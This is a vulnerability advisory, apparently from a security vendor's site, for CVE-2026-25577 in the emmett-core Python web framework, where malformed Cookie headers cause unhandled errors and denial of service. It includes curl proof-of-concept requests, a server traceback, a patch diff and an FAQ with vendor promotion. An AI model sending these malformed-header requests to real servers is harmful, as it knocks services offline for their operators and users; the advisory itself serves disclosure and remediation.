CVE-2026-25577

The cookies property in emmett_core.http.wrappers.Request does not handle
CookieError exceptions when parsing malformed Cookie headers. This allows
unauthenticated attackers to trigger HTTP 500 errors and cause denial of service.

Details

Location: emmett_core/http/wrappers/__init__.py (line 64)

Vulnerable Code:

@cachedprop
def cookies(self) -> SimpleCookie:
    cookies: SimpleCookie = SimpleCookie()
    for cookie in self.headers.get("cookie", "").split(";"):
        cookies.load(cookie)  # No exception handling
    return cookies

PoC

Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.

$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:/security=test"
Internal error
Time: 0.024363s

After the same error occurs several times, the server cannot process it normally.

$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:(security=test"
Internal error
Time: 60.069334s

$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:security=test"
Internal error
Time: 60.074031s

This is server log.

[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:
Traceback (most recent call last):
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic_handler
    http = await self.router.dispatch(request, response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py", line 240, in dispatch
    return await match.dispatch(reqargs, response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 57, in dispatch
    await self._parallel_flow(self.flow_open)
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 17, in _parallel_flow
    raise task.exception()
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py", line 102, in open_request
    if self.cookie_name in self.current.request.cookies:
                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py", line 37, in __get__
    obj.__dict__[self.__name__] = rv = self.fget(obj)
                                       ~~~~~~~~~^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py", line 64, in cookies
    cookies.load(cookie)
    ~~~~~~~~~~~~^^^^^^^^
  File "/usr/lib/python3.13/http/cookies.py", line 516, in load
    self.__parse_string(rawdata)
    ~~~~~~~~~~~~~~~~~~~^^^^^^^^^
  File "/usr/lib/python3.13/http/cookies.py", line 580, in __parse_string
    self.__set(key, rval, cval)
    ~~~~~~~~~~^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.13/http/cookies.py", line 472, in __set
    M.set(key, real_value, coded_value)
    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.13/http/cookies.py", line 335, in set
    raise CookieError('Illegal key %r' % (key,))
http.cookies.CookieError: Illegal key '/security'

This vulnerability allows unauthenticated attackers to cause denial of service
and performance degradation by sending malformed Cookie headers.
After this vulnerability occurs, we expect it to be difficult to use the normal service.

CVE-2026-25577 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.3.11); upgrading removes the vulnerable code path.

Kodem intelligence

/emmett_core/http/wrappers/__init__.py

- from http.cookies import SimpleCookie 
+ from http.cookies import SimpleCookie, CookieError  # add CookieError
...
...
    @cachedprop
    def cookies(self) -> SimpleCookie:
        cookies: SimpleCookie = SimpleCookie()
        for cookie in self.headers.get("cookie", "").split(";"):
-           cookies.load(cookie)
+           try:
+               cookies.load(cookie)
+            except CookieError:
+                continue
        return cookies

1. What is CVE-2026-25577? CVE-2026-25577 is a high-severity security vulnerability in emmett-core (pip), affecting versions <= 1.3.10. It is fixed in 1.3.11.
2. How severe is CVE-2026-25577? CVE-2026-25577 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of emmett-core are affected by CVE-2026-25577? emmett-core (pip) versions <= 1.3.10 is affected.
4. Is there a fix for CVE-2026-25577? Yes. CVE-2026-25577 is fixed in 1.3.11. Upgrade to this version or later.
5. Is CVE-2026-25577 exploitable, and should I be worried? Whether CVE-2026-25577 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25577 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25577? Upgrade emmett-core to 1.3.11 or later.